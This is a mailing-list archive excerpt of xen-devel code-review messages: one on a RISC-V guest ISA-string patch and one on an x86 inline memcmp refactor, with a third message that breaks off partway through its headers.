From xen-devel-bounces@lists.xenproject.org Wed Jul 01 06:22:49 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 06:22:49 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1349515.1607248 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1weoLA-0003gf-9w; Wed, 01 Jul 2026 06:22:32 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1349515.1607248; Wed, 01 Jul 2026 06:22:32 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1weoLA-0003gX-4r; Wed, 01 Jul 2026 06:22:32 +0000
Received: by outflank-mailman (input) for mailman id 1349515;
 Wed, 01 Jul 2026 06:22:31 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1weoL9-0003gN-CO
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 06:22:31 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1weoL8-0078bg-0t
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 08:22:30 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a44b219-bab6-0a2a0a5309dd-0a2a450899fc-42
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 08:22:29 +0200
Received: from [209.85.221.44] (helo=mail-wr1-f44.google.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a44b220-edec-0a2a45080019-d155dd2cbdea-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 08:22:24 +0200
Received: by mail-wr1-f44.google.com with SMTP id
 ffacd0b85a97d-472a14c9965so163164f8f.1
 for <xen-devel@lists.xenproject.org>; Tue, 30 Jun 2026 23:22:24 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-475643cd85dsm13504749f8f.15.2026.06.30.23.22.23
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 30 Jun 2026 23:22:23 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1782886944; x=1783491744; darn=lists.xenproject.org;
        h=content-transfer-encoding:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to;
        bh=VERsjxAe7q+yFAlos0PXWjPHKVOpuLdwRRRHZYD0o0M=;
        b=CGAcoxa2uaVv3b+9gpK6HqIzr+BXbMmD6Bz8crt+kYsdIaXepk1cq7cD8AHs4vSzIG
         +gC8qwiv5Ppec5VNNTR4tDvSeVXJmoMX0phobIBxW7UHK4a+i669kNmhjteuRf60Cnak
         YGIv5WwNwpAsw6j2tZX5UTzG7ScLMFMBYkm6ckAV2ZfHM8/mxKOKlE3EI5OXaPorciTu
         1aApVBDuFYGdRXcNuDLuOMiMCE6suGUJVNJYygFu3gdu1zTsFOqX7GUas4fFRh1a4J4N
         WapT7CGiR8E220TdiJpCpUvHa01NU8hmQLikRYfSldBGLQjYhQL22XdtTUriBMKmKqIa
         hORQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782886944; x=1783491744;
        h=content-transfer-encoding:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to;
        bh=VERsjxAe7q+yFAlos0PXWjPHKVOpuLdwRRRHZYD0o0M=;
        b=Rcf6N39F+Bn8upRLR1w3Mn6w1c/DSwwTy3tx3miAEbFxqYn7Lr6RS9UIBWR+0wZWYo
         Jojw/41ipWgT/Xx5Wyh4SKJV5ogjPCqMsG7SMM921LbTNBgDA5skKULZ5MFS3MYZf8iL
         kt4b3Dixvz2+rMc0xEwy8yOlVLevgALrxW9ZAjhmXkrjMB8cxww8ma8SGfAcN9bUuGlP
         O3q41tLB7K6Va8sHbnlLQZyA+GzTo+jlvsFMGUC9I7hd8Qn7PlFK9eKi9ZRnVRByRxhT
         lTMUudnmVugG4Vr95k61f9vapghuWdHb+z4lu8qosNNRE3XZBkO1D0LMlXV6hocMYc74
         uI4g==
X-Forwarded-Encrypted: i=1; AFNElJ/KwPgxa/Uq4fhFruCL7fR24kctmRfwOMweiqE8fUtfM1vtDmxIn9tDlO4QY4YlcH/8P2SIBG3dms0=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yzm3NwuS7hvWESQyRAPhvKixexo5g2ZUgj1Mp7ZrjMV663aDTmG
	lDp0msnDGWT4TvngFpFphkmUzI0IwlluLZrfQZt2XoCbvIdJtTWxCUcaCoLej0DTeQ==
X-Gm-Gg: AfdE7clSYgvgCxsasxB3DhZUJAubc4V/SLQYrFCibGYNcPyO4mjvOZgygZns2xQUwse
	iGJODwiq9wLZMIaIkbBUXB+6zoFaaIojaPfU1rBlmLA0TC2bRny67/HcDwM+ZnUvuVfush8rNKA
	m+SjgaIKrEdP+KbKDTZeB0Bz10jVfD6QoKIwiUEoI73eXHs+cTLdqJqm3rJyJewCeFIjBoD0v6v
	ndoe41u82lGbZEH4Jc6cp2J5DpsPyDUyrjokoBamZFgncQHhLkpkJXCfylbaqdKpI/e5LazloZg
	imC/PmvYqtMMeRtNUknCLkokYu4SuGLt3jHqObMV67Hxom5QJjlpudqb2EBQWRlLXWRwNVdELbg
	DubWmmtnBm4T20cQSHHd1ig+sN+CzEuuLeXm52QSjGAFFQIBxrV1Ejtj//BmtsLAcS1qgQsMcA7
	5XA04aK02bEDOljtg4EvaAgt0jEMACcWa/PSu9oEjQbt9Alvv2UF+bNGlJ5wUonMhJxdd0KHOf5
	Pb2
X-Received: by 2002:a05:600c:6a96:b0:493:b750:b565 with SMTP id 5b1f17b1804b1-493c2ba9d58mr2175655e9.35.1782886944372;
        Tue, 30 Jun 2026 23:22:24 -0700 (PDT)
Message-ID: <bef567d3-974b-4654-8cf3-d5a97d9dba10@suse.com>
Date: Wed, 1 Jul 2026 08:22:23 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v4 08/25] xen/riscv: introduce guest riscv,isa string
To: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1782487661.git.oleksii.kurochko@gmail.com>
 <b2678a5697112d3ac16a98b86433da22374324b2.1782487661.git.oleksii.kurochko@gmail.com>
 <9d082182-394d-40cd-9afe-35369d7bc4bc@suse.com>
 <20740b98-bdc0-4098-afda-45b09dc07ca3@gmail.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <20740b98-bdc0-4098-afda-45b09dc07ca3@gmail.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-c1860d/1782886949-48C6F3FC-E1378722/0/0
X-purgate-type: clean
X-purgate-size: 2694

On 30.06.2026 18:06, Oleksii Kurochko wrote:
> On 6/29/26 4:46 PM, Jan Beulich wrote:
>> On 26.06.2026 17:46, Oleksii Kurochko wrote:
>>> +static void __init init_guest_unsupp(void)
>>> +{
>>> +    __set_bit(RISCV_ISA_EXT_f, guest_unsupp);
>>> +    __set_bit(RISCV_ISA_EXT_d, guest_unsupp);
>>> +    __set_bit(RISCV_ISA_EXT_q, guest_unsupp);
>>> +    __set_bit(RISCV_ISA_EXT_v, guest_unsupp);
>>> +    __set_bit(RISCV_ISA_EXT_h, guest_unsupp);
>>> +    __set_bit(RISCV_ISA_EXT_sstc, guest_unsupp);
>>> +    __set_bit(RISCV_ISA_EXT_svade, guest_unsupp);
>>> +    __set_bit(RISCV_ISA_EXT_svpbmt, guest_unsupp);
>>> +}
>>
>> Wouldn't riscv_isa_ext[] better get a prominent reminder that additions there
>> may need mirroring here (unless guest support is implemented at the same time)?
>> (As before, yet better would of course be to make sure this is consistent
>> right from build time, i.e. without the need to have this separate function.
>> Or minimally have the info right in that array, so that while adding one needs
>> to think how to set that separate field.)
> 
> How about making the field mandatory at the call site instead, so it 
> can't be silently forgotten:
> 
> #define RISCV_ISA_EXT_DATA(ext_name, guest_supp)    \
> {                                                    \
>      .id = RISCV_ISA_EXT_ ## ext_name,                \
>      .name = #ext_name,                               \
>      .guest_supported = guest_supp,                   \
> }
> 
> Every entry in riscv_isa_ext[] would then need an explicit true/false 
> argument, e.g. RISCV_ISA_EXT_DATA(f, false). That forces whoever adds a 
> new extension to make the decision right there, rather than relying on a 
> separate init_guest_unsupp() to be remembered. We'd drop guest_unsupp 
> and init_guest_unsupp(), and build d->arch.isa directly from the array 
> in init_guest_isa().

This is what I meant with "Or minimally ...".

>>> @@ -94,6 +95,9 @@ struct arch_domain {
>>>       struct p2m_domain p2m;
>>>   
>>>       struct paging_domain paging;
>>> +
>>> +    DECLARE_BITMAP(isa, RISCV_ISA_EXT_MAX);
>>> +    char *isa_str;
>>>   };
>>
>> Why is it again that both the bitmap and its string representation need
>> storing? In the end they provide two different sources of truth, as there's
>> no guarantee that they'll remain in sync.
> 
> isa_str is needed to guest device tree to tell which extensions are 
> supported.

Sure, but does that need storing over the lifetime of the domain? Can't
that string be allocated, built, used, and then freed while DT is being
built? Would that string be used at all for toolstack-created domains?

Jan


From xen-devel-bounces@lists.xenproject.org Wed Jul 01 07:05:51 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 07:05:51 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1349527.1607258 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wep0y-000326-Dz; Wed, 01 Jul 2026 07:05:44 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1349527.1607258; Wed, 01 Jul 2026 07:05:44 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wep0y-00031y-A1; Wed, 01 Jul 2026 07:05:44 +0000
Received: by outflank-mailman (input) for mailman id 1349527;
 Wed, 01 Jul 2026 07:05:43 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <peterz@infradead.org>) id 1wep0w-00031q-27
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 07:05:43 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wep0v-008YJK-BR
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 09:05:41 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <peterz@infradead.org>)
 id 6a44bc3f-2eae-0a2a0a5409dd-0a2a4502da62-26
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 09:05:40 +0200
Received: from [90.155.50.34] (helo=casper.infradead.org)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <peterz@infradead.org>)
 id 6a44bc43-5a27-0a2a45020019-5a9b3222db76-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 09:05:39 +0200
Received: from 77-249-17-252.cable.dynamic.v4.ziggo.nl ([77.249.17.252]
 helo=noisy.programming.kicks-ass.net)
 by casper.infradead.org with esmtpsa (Exim 4.99.1 #2 (Red Hat Linux))
 id 1wep0n-00000006Avt-1h6e; Wed, 01 Jul 2026 07:05:33 +0000
Received: by noisy.programming.kicks-ass.net (Postfix, from userid 1000)
 id ECCFA30035C; Wed, 01 Jul 2026 09:05:31 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=casper.20170209 header.d=infradead.org header.i="@infradead.org" header.h="In-Reply-To:Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=casper.20170209; h=In-Reply-To:Content-Type:MIME-Version:
	References:Message-ID:Subject:Cc:To:From:Date:Sender:Reply-To:
	Content-Transfer-Encoding:Content-ID:Content-Description;
	bh=+AaYpDAuxo7H4NIsCnNAZDJ/up1aHckwKckTsZUvyYo=; b=obljbhuiEFfUuQG2puQ/PkbnJB
	ObvbkN3jtXxrgtWidSkKLpIFrJAhoSkE0ln3nU9mr8U/s6eVLGJ3wgVZE8OqsfGTjooaeg/G1q0Bx
	4ykvNq3SVgHh1vZGY7LQyVu+cJwysZH/AAayjUiEuDzqqlHKusFT0kOfmcjqEYfAVSrhjYoo/ALlN
	eDOtGEALQpKWr8R+L6fOm2nhZ/X04WVjwDX15RQsFxk+5sT62z2LjJ/ohPAf6WnBh3i2BJ4e5YSFk
	ZvmTMJW/gH/cz4XaFf28ftNCy6xI6xFAw48J2trogdaLMXogw0JaXN+VhndNhW4UY1f5oe60hJl86
	9HZxYVNg==;
Date: Wed, 1 Jul 2026 09:05:31 +0200
From: Peter Zijlstra <peterz@infradead.org>
To: Mauricio Faria de Oliveira <mfo@igalia.com>
Cc: Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>,
	Borislav Petkov <bp@alien8.de>,
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>, Juergen Gross <jgross@suse.com>,
	Alexey Dobriyan <adobriyan@gmail.com>,
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, kernel-dev@igalia.com,
	linux-kernel@vger.kernel.org, xen-devel@lists.xenproject.org
Subject: Re: [PATCH RESEND v5 1/3] x86/asm, x86/boot: expose inline memcmp
Message-ID: <20260701070531.GK48970@noisy.programming.kicks-ass.net>
References: <20260630-pvh-kasan-inline-v5-0-52afc979be81@igalia.com>
 <20260630-pvh-kasan-inline-v5-1-52afc979be81@igalia.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20260630-pvh-kasan-inline-v5-1-52afc979be81@igalia.com>
X-purgate-ID: tlsNG-720697/1782889540-4D3037C5-3C8A4052/0/0
X-purgate-type: clean
X-purgate-size: 3069

On Tue, Jun 30, 2026 at 02:21:46PM -0300, Mauricio Faria de Oliveira wrote:
> Move the inline memcmp function currently only available in 'boot/string.c'
> into the shared string function header <asm/shared/string.h> to be reused.
> 
> This is not done through <asm/string.h> to avoid pulling unnecessary code
> in 'boot/string.c' that causes build errors in 'boot/compressed/string.c'
> and 'purgatory/purgatory.ro'.
> 
> Note that the inline memcmp() returns 0/1, not -1/0/1 as regular memcmp()
> (reported by David Laight <david.laight.linux@gmail.com>).
> 
> Signed-off-by: Mauricio Faria de Oliveira <mfo@igalia.com>
> ---
>  arch/x86/boot/string.c               |  6 ++----
>  arch/x86/include/asm/shared/string.h | 16 ++++++++++++++++
>  arch/x86/include/asm/string.h        |  1 +
>  3 files changed, 19 insertions(+), 4 deletions(-)
> 
> diff --git a/arch/x86/boot/string.c b/arch/x86/boot/string.c
> index ac0f900ebc47efa81c92e1bb2010ea41677899c4..be454a6864225f3a972c3e81826b77ed4e8a57fe 100644
> --- a/arch/x86/boot/string.c
> +++ b/arch/x86/boot/string.c
> @@ -15,6 +15,7 @@
>  #include <linux/errno.h>
>  #include <linux/limits.h>
>  #include <asm/asm.h>
> +#include <asm/shared/string.h>
>  #include "ctype.h"
>  #include "string.h"
>  
> @@ -31,10 +32,7 @@
>  
>  int memcmp(const void *s1, const void *s2, size_t len)
>  {
> -	bool diff;
> -	asm("repe cmpsb"
> -	    : "=@ccnz" (diff), "+D" (s1), "+S" (s2), "+c" (len));
> -	return diff;
> +	return __inline_memcmp(s1, s2, len);
>  }
>  
>  /*
> diff --git a/arch/x86/include/asm/shared/string.h b/arch/x86/include/asm/shared/string.h
> new file mode 100644
> index 0000000000000000000000000000000000000000..422952152f533ad75b98f3873297b39c4f5e2477
> --- /dev/null
> +++ b/arch/x86/include/asm/shared/string.h
> @@ -0,0 +1,16 @@
> +/* SPDX-License-Identifier: GPL-2.0 */
> +#ifndef _ASM_X86_SHARED_STRING_H
> +#define _ASM_X86_SHARED_STRING_H
> +
> +/* Note: this memcmp() returns 0/1, not -1/0/1 as regular memcmp(). */
> +static __always_inline int __inline_memcmp(const void *s1, const void *s2, size_t len)
> +{
> +	bool diff;
> +
> +	asm("repe cmpsb"
> +	    : "=@ccnz" (diff), "+D" (s1), "+S" (s2), "+c" (len));
> +
> +	return diff;
> +}
> +
> +#endif /* _ASM_X86_SHARED_STRING_H */
> diff --git a/arch/x86/include/asm/string.h b/arch/x86/include/asm/string.h
> index 9cb5aae7fba9ffcf0f5af8f939d30467750ccaa9..f0f4fd8227bf992e78c69209efb31f0a9a0cc3b1 100644
> --- a/arch/x86/include/asm/string.h
> +++ b/arch/x86/include/asm/string.h
> @@ -7,6 +7,7 @@
>  #else
>  # include <asm/string_64.h>
>  #endif
> +#include <asm/shared/string.h>
>  
>  static __always_inline void *__inline_memcpy(void *to, const void *from, size_t len)
>  {

It seems weird to have __inline_mem{cpy,set}() in a different header than
__inline_memcmp(). I'm assuming this is because boot cannot include the
normal string thing?

Perhaps make inline_string.h or somesuch to carry all three of them and
include that from the relevant places?


From xen-devel-bounces@lists.xenproject.org Wed Jul 01 07:45:11 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 07:45:11 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1349545.1607267 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wepcu-0001li-6v; Wed, 01 Jul 2026 07:44:56 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1349545.1607267; Wed, 01 Jul 2026 07:44:56 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wepcu-0001lb-2n; Wed, 01 Jul 2026 07:44:56 +0000
Received: by outflank-mailman (input) for mailman id 1349545;
 Wed, 01 Jul 2026 07:44:55 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wepct-0001lV-42
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 07:44:55 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wepcr-009ztH-DF
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 09:44:53 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a44c56b-bab6-0a2a0a5309dd-0a2a450cdf7c-32
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 09:44:53 +0200
Received: from [209.85.167.53] (helo=mail-lf1-f53.google.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a44c575-f399-0a2a450c0019-d155a735c968-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 09:44:53 +0200
Received: by mail-lf1-f53.google.com with SMTP id
 2adb3069b0e04-5aeae771c49so306206e87.3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 00:44:53 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-148-111.play-internet.pl.
 [109.243.148.111]) by smtp.gmail.com with ESMTPSA id
 2adb3069b0e04-5aec5eaed8esm160558e87.6.2026.07.01.00.44.51
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 01 Jul 2026 00:44:52 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1782891893; x=1783496693; darn=lists.xenproject.org;
        h=content-transfer-encoding:in-reply-to:from:content-language
         :references:cc:to:subject:user-agent:mime-version:date:message-id
         :from:to:cc:subject:date:message-id:reply-to;
        bh=vlHQ/fvs5m+gF3nR5deR9QkQTOr+VSn7/u3q6MKLMBY=;
        b=NLIlUc1NcEkVsGbbgjspSrmmoVKQiqBBgLywJxa5Z//9XW2K2lHseOxoGesy0dqElT
         4+06GbGeh/hAYv3n0BJu4vZr2oyJsEIQmYkhPVWQSXsYvxWwlABArczIv1ww5hEc2E0i
         vPpIFDiR/uDXTdvUsK7LPxWL/NojdQoA0+kpKcgI32nGcihj74bf3Tp05ez5yz1x1pF+
         Liy1e051OPvH59mjrLcinFQbIe8n9zw6g6K12jyR27uakWvauXyGRNuV8OWe/myvqUcS
         ZYYXcpSp0CV+wznXHNxwqdDOfWs75pJTkKw8IS0q2MLi/KQ5hhTss90foRQQ7bGJi6Ia
         fykw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782891893; x=1783496693;
        h=content-transfer-encoding:in-reply-to:from:content-language
         :references:cc:to:subject:user-agent:mime-version:date:message-id
         :x-gm-gg:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=vlHQ/fvs5m+gF3nR5deR9QkQTOr+VSn7/u3q6MKLMBY=;
        b=ifj7CHkB2yeUlm7NRWj+4s6hsDzStwr7TO2qZGRVx+lah3jYIGzpkvi9EApU5V1eni
         n82vPSipccUWdacaC95lLpKkiGYWgHozd9HzN/GZNxeHD/Bc7aajiG+NSwObCO1DtuOr
         J852wVpfEvrjPIcF20TI+A5kNaHY3a0e0GGq18joVmbrcsIAVMn9tjqTeB0eMeWGGNGA
         DgJTZ/DjM2K0/w30sPFzL/mTCy/c6TtuttnetgL4y7EE1xGlG8HgIFYmUi/sLYymAwnd
         BYErUhitOc9vKcH53TvES4szEhKZLU6nSsogco9xcvAGpLcgqOVde1736SwLHijrmn8N
         +PRw==
X-Forwarded-Encrypted: i=1; AHgh+Rpfj89hlWAXpNWlCqyqSJriFE2XV1+1KqxMhzlUsCQYdDLDenwge5XotxlKZMsbYnatJBcBYI8s/vQ=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxeD0QbeLiq0GPpReVvxFFK43DRsNPntGkl76//F++CCcEtbzA3
	p6dI6z8CEoifjaHnTqgmGmjHkGl8hYTk1KVEM0g+pRhff3VrztM5J834
X-Gm-Gg: AfdE7cnd+pYAMe0TCEftiSiu9JkeZfpjKcC398shVEnCmgxA66Asn5yf3r6jxwB9vde
	p4wcYpLHmvFKG+sjd+GTxXV93/9xw2o1MOcVV5jvRCUwDoDGP/nOdT2C5BOR9cE/9R255aEebLX
	/uFceGCCxbTj2hnoFKWuw9ZWMDWhKCQhKZogjR5MMRD81DEIkJlB5r4IyFCGeF4RAVQppN+uvUd
	nUkL5815Wl0mn9TP+Dk8KFMKw/8vu8ZGQ69M9XfIA/MV2+bCzSsMcjyYhcDamQwqQuXG8j6ymka
